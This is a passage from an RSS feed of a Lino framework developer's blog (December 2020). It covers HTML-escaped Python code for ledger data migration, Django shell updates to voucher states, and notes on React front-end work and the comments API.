class="n"&gt;date&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2018&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;31&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="n"&gt;loader&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;save&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;create_ledger_movement&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;463&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;25&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;57&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;0.16&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="kc"&gt;False&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;SWB 1:2&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;date&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2018&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;31&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="n"&gt;loader&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;save&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;create_ledger_movement&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;464&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;25&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;3000.16&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="kc"&gt;False&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;date&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2018&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;31&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;create_ledger_movement&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;voucher_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;partner_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;seqno&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;account_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;amount&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;dc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;match&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cleared&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;value_date&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;vat_regime&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;vat_class&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;amount&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;amount&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Decimal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;amount&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="c1"&gt;#    if vat_regime: vat_regime = settings.SITE.models.vat.VatRegimes.get_by_value(vat_regime)&lt;/span&gt;
&lt;span class="c1"&gt;#    if vat_class: vat_class = settings.SITE.models.vat.VatClasses.get_by_value(vat_class)&lt;/span&gt;
    &lt;span class="n"&gt;kw&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;dict&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="n"&gt;kw&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;kw&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;voucher_id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;voucher_id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;kw&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;partner_id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;partner_id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;kw&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;seqno&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;seqno&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;kw&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;account_id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;account_id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;dc&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;amount&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;amount&lt;/span&gt;
    &lt;span class="n"&gt;kw&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;amount&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;amount&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="c1"&gt;#kw.update(dc=dc)&lt;/span&gt;
    &lt;span class="n"&gt;kw&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;match&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;match&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;kw&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cleared&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;cleared&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;kw&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;value_date&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;value_date&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;kw&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;vat_regime&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;vat_regime&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;kw&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;vat_class&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;vat_class&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;ledger_Movement&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;kw&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;That was the missing piece. So we can assume that the migration instructions in
the changelog (&lt;a class="reference external" href="https://dev.lino-framework.org/changes/2020.html#xl-changes-2020" title="(in Lino Developer Guide)"&gt;&lt;span&gt;2020&lt;/span&gt;&lt;/a&gt;) are correct and that I can simply
reregister all vouchers.&lt;/p&gt;
&lt;p&gt;I also found some places in the docs that had not yet been updated after
removing the dc field.&lt;/p&gt;
&lt;p&gt;Here is how I manually made all vouchers registered:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;lino.api.shell&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;qs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;sales&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;VatProductInvoice&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;objects&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;all&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;qs&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;state&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;registered&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mi"&gt;31&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;qs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;vat&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;VatAccountInvoice&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;objects&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;all&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;qs&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;state&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;registered&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mi"&gt;46&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;qs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;eevat&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Declaration&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;objects&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;all&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;qs&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;state&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;registered&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mi"&gt;9&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/1217.html</guid><pubDate>Thu, 17 Dec 2020 00:00:00 +0000</pubDate></item><item><title>Friday, December 11, 2020</title><link>https://luc.lino-framework.org/blog/2020/1211.html</link><description>&lt;section id="friday-december-11-2020"&gt;
&lt;h1&gt;Friday, December 11, 2020&lt;a class="headerlink" href="#friday-december-11-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I watched Brad Traversy’s &lt;a class="reference external" href="https://www.youtube.com/watch?v=sBws8MSXN7A"&gt;React JS Crash Course&lt;/a&gt;. Great work, Brad!&lt;/p&gt;
&lt;p&gt;With Lino we don’t have a static &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;index.html&lt;/span&gt;&lt;/code&gt; file because that’s being
served by Django.&lt;/p&gt;
&lt;p&gt;In &lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_react.react.views&lt;/span&gt;&lt;/code&gt; I renamed &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;App&lt;/span&gt;&lt;/code&gt; to &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;Index&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;I read &lt;cite&gt;webpack Code Splitting &amp;lt;https://webpack.js.org/guides/code-splitting/&amp;gt;&lt;/cite&gt;,
but still have no clear idea about how to reduce the size of our
&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;main.js&lt;/span&gt;&lt;/code&gt; file.&lt;/p&gt;
&lt;p&gt;I read the &lt;a class="reference external" href="https://reactjs.org/docs/context.html"&gt;React Context doc page&lt;/a&gt;
but still have no clear idea about why I had to manually remove application data
after the last Noi upgrade.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/1211.html</guid><pubDate>Fri, 11 Dec 2020 00:00:00 +0000</pubDate></item><item><title>Wednesday, December 9, 2020</title><link>https://luc.lino-framework.org/blog/2020/1209.html</link><description>&lt;section id="wednesday-december-9-2020"&gt;
&lt;h1&gt;Wednesday, December 9, 2020&lt;a class="headerlink" href="#wednesday-december-9-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;lino&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;startup&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;startup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;lino_welfare.projects.gerd.settings.doctests&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;lino.api.doctest&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;aids&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/1209.html</guid><pubDate>Wed, 09 Dec 2020 00:00:00 +0000</pubDate></item><item><title>Tuesday, December 8, 2020</title><link>https://luc.lino-framework.org/blog/2020/1208.html</link><description>&lt;section id="tuesday-december-8-2020"&gt;
&lt;h1&gt;Tuesday, December 8, 2020&lt;a class="headerlink" href="#tuesday-december-8-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I moved the demo project &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;teamReact&lt;/span&gt;&lt;/code&gt; from the react repo to the book. But
&lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;teamReact&lt;/span&gt;&lt;/code&gt; was not a good name because&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;nobody (except the core team) can guess that “team” actually means “noi”.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;cite&gt;camelCaps&lt;/cite&gt; names are not &lt;a class="reference external" href="https://www.python.org/dev/peps/pep-0008/"&gt;PEP 8&lt;/a&gt; compliant.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;also partly because it was always so much to type in a command line (okay
that’s not a good reason because we should fix that part of the problem by
adding auto-completion to the &lt;a class="reference external" href="https://dev.lino-framework.org/dev/aliases.html#command-go" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;go&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; command.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;So I renamed  &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;team&lt;/span&gt;&lt;/code&gt; to &lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;noi1e&lt;/span&gt;&lt;/code&gt; and
&lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;teamReact&lt;/span&gt;&lt;/code&gt; to &lt;a class="reference external" href="https://dev.lino-framework.org/projects/noi1r.html#module-lino_book.projects.noi1r" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;noi1r&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Note that &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;noi1r&lt;/span&gt;&lt;/code&gt; uses the same database as &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;noi1e&lt;/span&gt;&lt;/code&gt; but has its own test
suite. So it is listed in &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;tests/test_demo.py&lt;/span&gt;&lt;/code&gt; but not in
&lt;span class="target" id="index-0"&gt;&lt;/span&gt;&lt;a class="reference external" href="https://atelier.lino-framework.org/config.html#envvar-demo_projects" title="(in atelier v1.1)"&gt;&lt;code class="xref std std-envvar docutils literal notranslate"&gt;&lt;span class="pre"&gt;demo_projects&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I removed &lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.chat&lt;/span&gt;&lt;/code&gt; from &lt;cite&gt;noi1r&lt;/cite&gt;’s &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;get_installed_plugins()&lt;/span&gt;&lt;/code&gt;.
Which causes this plugin to no longer being tested at all.  Yes,
&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.chat&lt;/span&gt;&lt;/code&gt; is in standby now, we have abandoned our dream of
writing an instant messenger client in Lino. We rather hope that sooner or later
some free IM client will emerge, and that Lino would rather integrate with it
than replace it.&lt;/p&gt;
&lt;p&gt;Difference between a comment and a blog entry: In a blog entry I have
–ideally– been thinking about how to explain a series of interconnected
thoughts. The formulation of each though may vary as long as the whole blog
entry isn’t published. A comment should rather be atomic, I publish one thought
at a time. In a comment I &lt;em&gt;say&lt;/em&gt; something while in a blog entry I &lt;em&gt;write&lt;/em&gt;
something.&lt;/p&gt;
&lt;p&gt;Where should we write documentation about the React front end? In the book, or
in the react repository?&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/1208.html</guid><pubDate>Tue, 08 Dec 2020 00:00:00 +0000</pubDate></item><item><title>Monday, December 7, 2020</title><link>https://luc.lino-framework.org/blog/2020/1207.html</link><description>&lt;section id="monday-december-7-2020"&gt;
&lt;h1&gt;Monday, December 7, 2020&lt;a class="headerlink" href="#monday-december-7-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Summary of my code changes this weekend for &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3850"&gt;#3850&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The detail of a ticket is now more mobile friendly.  Comments have a new field
&lt;a class="reference external" href="https://dev.lino-framework.org/specs/comments.html#lino.modlib.comments.Comment.emotion" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;emotion&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;. When writing a comment,
you do this now by clicking on one of the available emotions.
The &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;comments.CommentsByRFC&lt;/span&gt;&lt;/code&gt; and &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;comments.RepliesByComment&lt;/span&gt;&lt;/code&gt; slave
tables now use again the old summary view instead of the card view.&lt;/p&gt;
&lt;p&gt;These changes caused a change in the “summary API”:&lt;/p&gt;
&lt;p&gt;&lt;code class="xref py py-func docutils literal notranslate"&gt;&lt;span class="pre"&gt;qs2summary&lt;/span&gt;&lt;/code&gt; no longer returns a &lt;cite&gt;&amp;lt;p&amp;gt;&lt;/cite&gt; element but
a sequence of html elements. The caller can feed these into any container
element, e.g. &lt;cite&gt;&amp;lt;p&amp;gt;&lt;/cite&gt;, &lt;cite&gt;&amp;lt;div&amp;gt;&lt;/cite&gt;, &lt;cite&gt;&amp;lt;li&amp;gt;&lt;/cite&gt; or &lt;cite&gt;&amp;lt;td&amp;gt;&lt;/cite&gt;. It may now yield also a sequence
of &lt;cite&gt;&amp;lt;p&amp;gt;&lt;/cite&gt; elements. It returns a flat stream, caring about separators. And
&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.actor.Actor.get_table_summary()&lt;/span&gt;&lt;/code&gt; now feeds them into a &lt;cite&gt;&amp;lt;div&amp;gt;&lt;/cite&gt;
(instead of a &lt;cite&gt;&amp;lt;p&amp;gt;&lt;/cite&gt;)&lt;/p&gt;
&lt;p&gt;The &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;get_table_summary()&lt;/span&gt;&lt;/code&gt; method of &lt;a class="reference external" href="https://dev.lino-framework.org/specs/comments.html#lino.modlib.comments.Comments" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.comments.Comments&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;
doesn’t use &lt;code class="xref py py-func docutils literal notranslate"&gt;&lt;span class="pre"&gt;qs2summary&lt;/span&gt;&lt;/code&gt; because we want to wrap
each row in its own paragraph, so we don’t want a flat stream with separators.&lt;/p&gt;
&lt;p&gt;Side effect: I wrote the new method &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;Model.add_picker&lt;/span&gt;&lt;/code&gt; for editing the  new
&lt;a class="reference external" href="https://dev.lino-framework.org/specs/comments.html#lino.modlib.comments.Comment.emotion" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.comments.Comment.emotion&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; field of an existing comment, but
that turned out to be irritating. Actually you don’t usually want to change the
emotion of an existing comment.&lt;/p&gt;
&lt;p&gt;The summary of a comment now adds the number of replies. This is done using an
annotation.&lt;/p&gt;
&lt;p&gt;A comment should not reply to a comment that is about a different owner. TODO:
add a data checker to report this condition.&lt;/p&gt;
&lt;p&gt;The &lt;a class="reference external" href="https://dev.lino-framework.org/ref/demo_fixtures.html#fixture-demo2" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-fixture docutils literal notranslate"&gt;&lt;span class="pre"&gt;demo2&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; fixture of &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino.modlib.comments.html#module-lino.modlib.comments" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.comments&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; now creates some
replies as well.&lt;/p&gt;
&lt;p&gt;I changed the &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino.core.choicelists.html#lino.core.choicelists.Choice.button_text" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;button_text&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; for
